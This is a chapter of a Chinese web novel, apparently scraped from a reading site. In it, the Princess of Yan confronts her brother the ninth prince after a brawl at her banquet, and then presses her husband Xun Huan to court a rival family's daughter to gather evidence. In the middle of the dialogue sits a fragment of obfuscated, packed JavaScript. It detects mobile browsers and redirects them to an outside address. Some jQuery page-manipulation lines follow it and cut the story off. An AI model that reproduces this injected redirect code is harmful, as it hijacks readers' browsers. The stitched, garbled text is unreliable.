98. 第九十八章 威胁他

作品:《朱明承夜

    秦王老九其实不想在襄阳侯府动手的,奈何家邹家这厮嘴巴太欠,就看准了他不愿意给兖国公主惹麻烦,什么脏话荤话都说得出来,骂他是没关系的,但这厮事事都往介含清身上扯,连他与介含清有分桃之嫌都说了出来。


    那就怪不得他的拳头不留情面。


    “住手!”沈明枳心口急促地起伏着,那一双向来有三分温柔七分疏远的眼睛此时竟在喷火,旁人都当她是生气有人坏她席面下她面子,只有她知道,她是恨极了这些人在这样真相大白的关键时候打断她。


    老九的拳头已经架得老高,被沈明枳的怒视震慑住后悻悻地松了手,一把将邹文运摔到了石子地上,甩甩拳头,被飞驰而来劝架的晋王沈明戒拦到了一边,就留下一番哭抢之中骂骂咧咧不休不止的邹文运躺在地上起不来身。


    这难得的几息死寂后,人声重新鼎沸,因为老九又听见邹文运骂了一声“狗娘养的介含清”,几乎就要将沈明戒的控制挣脱。沈明戒的身量已经与老九不相上下,更兼他常年习武,比老九流连花丛强壮上不知多少,但这一刻却发现他惯常游戏花丛的九哥竟然会迸发出这样惊人的力量,即将将他撂倒在地,幸亏及时赶来的郇寰和一边看热闹的寇一爵一把把秦王按了下去。


    人越聚越多,但场面越来越静。光一个干惯了抄家灭门腥风血雨的刑部活阎罗就足有震慑力了,再加上面色不善的兖国公主,在场诸位听过南巡钦差一夜之间将南海道布政司屠戮殆尽的传闻的,无不脊梁生寒,只觉得神仙打架都没意思了,只求快快了结、他们能快快回家。


    少年时代上赶着寻衅滋事的申不极从未想过,将来有一天他会变成一堆炮仗中息事宁人的那个。


    “散了吧散了吧,散了吧散了吧。”


    老九很久没有喝到沈明枳亲自给他沏的茶了,茶是好茶,但人不是好人,老九怎么也喝不下去。


    “妹妹我的席面,可不是这么好砸的。”沈明枳自饮一杯。


    老九一腿曲起支着膝盖,一腿盘曲搭着手肘,靠在上首正细细地想着如何给远在都察院的介含清一个交代,冷不防和沈明枳三分玩味七分威慑的眼神对上,捻了捻手指缝里没洗干净的泥,放下腿端正地坐了起来,“那你说吧,要我怎么赔你才高兴?”


    沈明枳再给自己续上一杯,“我自然怎样都不会高兴。”


    老九抽了抽嘴角,眼皮一跳:“你想怎样?玩儿我玩儿的还不够?”


    沈明枳挑眉:“九哥你这是什么话?”


    老九反手倒了杯中剩下的茶,夺过桌上的壶给自己倒了起来,漫出杯子也不收手,直倒得满桌子都是茶水,“我和介家的事情难道不是你传出去的?”


    “事实而已,何须旁人宣扬?”


    老九冷笑:“你倒不否认。”


    沈明枳斜过脑袋瞥他一眼:“介含清告诉你的吧。”


    老九目光一凝。他撺掇晋王去走务本门本就是奔着介含清去的,一时乐上头说话没有轻重,事后介含清已经警告过他了,他也做好了事情叫沈明枳知道后被教训的准备,后来好一段日子他都本本分分勤勤恳恳,连父皇都“夸”他是浪子回头,几个兄弟见他都下意识地看看日头。


    沈明枳露出一个温和的笑:“你嘴欠,玩上头之后说话不过脑,不过你虚心好学,介含清多教你几次,还能教学相长。”


    她说的分明是他早就有底的大实话,但配着这瘆人又别有意味的笑容,老九总觉得沈明枳这回是真动怒了,在隐喻他有拉帮结派夺储的用心。但介含清背后是柳曦既,她下得了手?


    “别紧张。”沈明枳收回目光,听着外面的脚步声笑道:“出了孝你若是没娶到介家姑娘,可就不好收场了。”


    老九猛地一抬眼。她应该猜到了,自己与介含清的往来绝对不是冲着他那待字闺中的妹妹去的。他和介含清对此事都极其谨慎,不到万不得已的地步是绝对不会把介家妹妹推出来顶缸,他和介含清不要名声、不要脸面,但介妹妹还是要嫁个好人家、过上好日子的。自从沈明枳大摇大摆地指使人开他与介妹妹的玩笑,从前没发现的、不敢说的、不相信的都站出来踩上一脚,事情再发酵下去赵王、吴王还没相斗就要一起不管三七二十一来处理自己。


    沈明枳念东宫的旧情,是绝对不会做出对柳曦既不利的事情;介含清是柳曦既一手提拔的心腹,伤了介含清无异于威胁柳曦既。但她明知山有虎,偏偏要推他们往虎山行,倒未必想留下他们的命,可能只是想扒下一层皮,但究竟是扒皮还是留命,都得看他和介含清怎么选。


    老九凝神苦思。


    他和介含清身上还有什么是值得她这么惦念的?


    他是一个草包入不了她的眼,介含清在都察院的势力她又看不上,那就只剩下……


    沈明伐肃然问道:“我面前现在坐着的,是我的十妹妹兖国公主?还是郇家的好夫人兖国公主?”


    沈明枳微微一笑:“都是鹇儿啊,九哥分得这么清干嘛呢?”


    沈明伐顿了顿再问:“你会伤害他吗?”


    沈明枳定定注视他几息,“我会伤他,但不会害他。”


    沈明伐的手指轻轻叩着桌面,一声一声直要叩到人心中去。等叩了不知多少下,敞开的门外出现了郇寰的影子,沈明伐终于收了手:“成,会如你所愿的。”


    “如谁所愿?”郇寰朗声笑着走入,打破屋内这诡异的气氛。


    沈明枳和老九都起身,见跟郇寰而来的还有梅老四,再望一眼,梅如故由郇七郎引着也走了进来,空旷的屋内顿时有些拥挤。


    沈明枳朝他们一一颔首示礼,不忘将老九的话圆过来:“自然是如我的愿,他今日坏了我们家的席面,下回可不得连本带息地赔回来?”


    老九干笑两声,面上装出来的表情仿佛要骂却又不敢骂,极其憋屈,遥遥与诸人见过礼就要告辞,叫沈明枳拦了拦:“你方才闯了祸,难道不先回宫向父皇告罪?还等着都察院的御史们参你一本?”


    老九和梅老四对视一眼,连声嘴硬:“我就是要回宫去的鹇儿你别催了,到时候跑不了的定要赔你的,还用不着到父皇面前见证……”


    郇寰和梅如故都笑了,沈明枳笑问梅依径怎么散宴了才来,梅如故很自豪地嫌弃:“我家里头不太平这是全化隆的人都知道的事,他还巴巴地要来演兄友弟恭。”


    梅依径笑得很尴尬。


    郇寰很艳羡地接话茬为梅家那岌岌可危的兄弟情谊吹捧一番,那真诚的,仿佛前些日子背后说人家宅不宁的那个长舌夫绝对不是他一样。


    沈明枳僵着脸将这些人面兽心的假活佛们送出大门。等所有车马都在襄阳侯府前的长街中绝尘,等没有人再管主人家的事情都去忙着收拾杯盘狼藉,等太阳终于落到西山之下暮色四起,郇寰收拾过一身的酒气,别下了正用过饭要和长兄叙说这一整天的趣事要闻的七郎、八娘,在府中转了好几圈,和前来传信的赵王府小厮嘱咐了好几回,才掐着点拐到了厢房。


    沈明枳刚沐浴完,正由月珰给她梳头,捧着一本杂记愣愣出神,那一页纸她足足看了半个时辰,等月珰悄无声息地退下去、郇寰接过梳子抚上她的头发,沈明枳才如梦初醒。


    “看什么这么入神?”郇寰梳着她的头发从镜子中看向她。


    沈明枳合上书,挑拣了今日的记忆,开口问道:“你今天见过何施雅了?”


    她的口气着实不像是吃醋,反倒像来看戏的。他将事情都推到沈明枳身上,还那样说,就是不想让何施雅再跑到沈明枳面前作妖,看来何施雅不仅来了,还说了不少让沈明枳光火的话,“她特意去烦你了?”


    沈明枳挑眉:“没有。”


    郇寰纳罕。


    “反倒帮了我们大忙。”


    郇寰刻意又凑得近了些,就差伏在她肩膀上,听她的声音悠悠传来:“僭越一案查得怎么样了?”


    郇寰没想到她忽然问这个:“就那样吧,岑家和都察院的人不开口,怕是不会有实际性的进展。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061058|142272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“那不妨试试何家?”


    郇寰挑眉,隐约觉得她接下来不会说什么让自己舒服的话,“你不妨效仿当年的介含清?去试一试?反正也没什么损失。”


    效仿介含清?效仿他出卖色相与何施雅假意温存套取何家僭越私吞贡品的实证?没什么损失?因为他已经是一部尚书再加上一府侯爵更有赵王撑腰,所以即便东窗事发何家也不敢像当年岑家对付介含清那样威胁自己?


    郇寰眯着眼睛看沈明枳脸一本正经地继续大放厥词:“你还记得何家姑娘宝贝的那条珠子是什么模样?张口就什么红丝木金丝木的谎话,还敢来本宫面前讲醉翁之意不在酒那一套,想来是个被娇宠惯了的没什么脑子的,好下手;再说你与申不极一起混了那么多年,多少也学了点本事,勾搭这样一个丫头不成问题吧?”


    沈明枳直勾勾地从镜子里看他,见他神色如故,似在酝酿什么疾风骤雨般的愤怒,只不知道他差点就要把手中的那把木梳掰断,忍了又忍,才咬牙笑道:“殿下在说什么混话?臣是有家室的人了,这不合适。”


    “那你案子怎么查?都察院不会放人,高穿楼和介含清都是左都御史的心腹,岑家也不会松口,僭越这是抄家灭门的大罪——郇海山!你做什么!”沈明枳兀自说着谁料到郇寰出其不意地将她打横抱起,没几步就护着她的后脑,将人压到了榻中铺天盖地地亲了下来。


    郇寰听得出沈明枳不是玩笑,这件事也如她所说如果没有都察院和西南氏族的支持,他们纵然有徒手掏心肝的本事也根本难以撕开一条口子。他们赵王一派没想到会有这样举步维艰的一天,他郇海山也没想到自己会有这么一天,被沈明枳公然以办公事的名头推入别的女人的怀抱。


    他们没有爱情,但总不能连正经夫妻都当不成!


    **


    “稀客稀客呀。”梅如故倚靠在二层阁楼的栏杆旁,两手捧着热腾腾的茶碗,笑盈盈地冲楼下管家引来的柳曦既喊道。


    柳曦既谢过管家,自己上楼入室选了位子坐下,等梅如故吹够了初夏晚风拢着领口回到室内,自斟了一杯热茶,闻着屋内弥散着的药味,柳曦既淡淡问道:“你旧病犯了?”


    梅如故捡了钳子拨弄炉中炭火,绑了袖子继续烧水,伴着炉子上噗噗翻腾的开水声,他在水汽氤氲中笑道:“唉,也就你还关心关心我了——这都是积年的老毛病了。”


    柳曦既刻意忽略他话中的牢骚意味,但梅如故如何肯放过他,硬是要让柳曦既的耳朵也遭回罪:“不是我说,真的是人心不古人心不古!”他将钳子轻轻摔回原位,捞起架子上的一块抹布擦了几下手,拍着自己的大腿义愤填膺:“亏她以前遇着难题还喊过我几声‘先生’,我就向她借几个人,她就把我关门外吃凉风!真是白眼狼白眼狼!”


    柳曦既掀了眼皮,放下手中的茶盏,“专心”欣赏梅如故的表演,逼真得仿佛兖国公主真的是狼心狗肺不尊师重道礼让亲长的宵小。


    “你要多少人?”


    梅如故伸出自己拢在袖子中又细又长的手指一比。


    柳曦既看他左手全都张开了,“五人?”


    梅如故瞪他一眼再朝空气推了两把。


    “五十人?”


    梅如故啧地一声表示不满,等柳曦既再猜上最后一次:“五百人。”


    梅如故满意地收了手,开始捏了抹布将水壶提离了炉子,听柳曦既冷冷道:“你当钱都是天上掉下来的?”


    梅如故边泡茶边笑答:“她的钱可不就是‘天上’掉下来的?”


    柳曦既不知道故太子他们给了沈明枳多少,但这么些年兖国公主府豢养了这么多精锐的暗卫,这开销绝对不是普通一个公主能够承担的,就从梅如故和他吹嘘的冰山一角来看,这支暗卫完全可以媲美诸王亲卫和十二亲军卫中的某些军卫。


    柳曦既凝眉再道:“你要这么多人干什么?”


    梅如故摆摆手,“这你就不用管了我自有分寸。”


    “她给了你多少?”